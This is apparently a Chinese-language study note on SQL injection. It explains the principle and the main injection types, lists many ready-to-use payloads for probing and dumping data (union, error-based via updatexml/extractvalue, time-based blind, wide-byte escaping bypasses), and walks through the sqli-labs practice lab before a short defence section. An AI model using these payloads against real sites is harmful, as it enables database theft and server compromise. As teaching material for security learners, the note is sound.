一、原理
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被拖库、被删除、甚至整个服务器权限沦陷)
简单理解:前端传入的数据没有经过任何处理,直接当作sql语句的一部分执行
二、注入分类:
1.union联合注入
(1)前后两个select查询列数一致!!
(2)select不支持limit
(3)尽量保证数据类型一致
判断列数的方法:
方法一 'union select 1,2,3,4 --+
方法二 'order by 4 --+
payload
' union select database(),user(),version() # %
2.堆叠注入
用分号(;)间隔,通过一个payload执行多条sql语句
3.报错注入
原理:利用sql函数语法错误导致报错的同时将执行语句结果显示在页面中
常用payload
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.盲注
(1)布尔盲注:正确和错误的回显有两种
(2)时间盲注:正确和错误的回显都一样
5.header和cookie注入
应用场景 针对跳转页面中需要将http请求报文信息写入到数据库,则可以直接改写报文值为payload,从而实现错误注入
通过写入或查询header或cookie值,导致被注入
6.外带注入
三、注入点类型
(1)字符型
'or 0=0 --+
" or 0=0 --+
(2)整数型
or 0=0 --+
(3)搜索型
% or 0=0 --+
% ' or 0=0 --+
% " or 0=0 --+
(4)特殊型
) or 0=0 --+
' ) or 0=0 --+
" ) or 0=0 --+
% ' ) or 0=0 --+
% " ) or 0=0 --+
)) or 0=0 --+
四、常见的注入点类型
#
-- (杠杠空格)
--+ (杠杠加号)
--%20
--- 111(杠杠空格111)
/*sss*/
五、危害
1.获取webshell(前提:知道站点根目录;mysql开启了secure-file-priv参数;站库不能分离;mysql对站点根目录有写入权限)
2.执行系统命令
3.读取系统文件
4.拖库
六、绕过
1.宽字节注入绕过:通过%df%5c(\)结合成一个汉字,从而绕过sql注入的防护,继续sql注入
前提条件:连接数据库的时候字符集必须为gbk;开启了转义
2.窄字节注入绕过:利用ascii吗和5c(\)结合成一个汉字绕过服务端的防护
七、防御
1.硬件安全设备:安恒、绿盟、奇安信、启明星辰等
2.软件层面:windows可以使用D盾;linux可以使用安全狗
3.代码层面:写waf,使用正则过滤,开启安全防护的函数( addslashes;htmlspecialchars;mysql_real_escape_string ),使用utf-8和转义符
八、以sql-lib为例判断sql注入的思路
1.联合注入流程
判断注入点类型
判断字段数
1' order by 3#
' or 1=1 order by 2#
判断显错位
' union select 1,2#
判断库名
' union select user(),database()#
判断表名
' union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()#
判断列名
' union select 2,group_concat(column_name) from information_schema.columns where table_name='emails'#
获取数据
' union select group_concat(id),group_concat(email_id) from emails#
2.时间盲注思路
第一
1' and sleep(5) --+ 判断类型
admin' and if(1=1,sleep(10),null)--+ #通过返回时间判断注入点类型 单引号 时间型盲注
第二 admin') and if(ascii(substr(database(),1,1))=1,sleep(10),null)#
第三 用burp抓包勾选列响应时间 第一个1和第三个1为payload
3.报错注入思路
1.判断注入点类型
2.使用报错注入的payload (记得改类型)
admin") and updatexml(1,concat('~',(select version())),0) #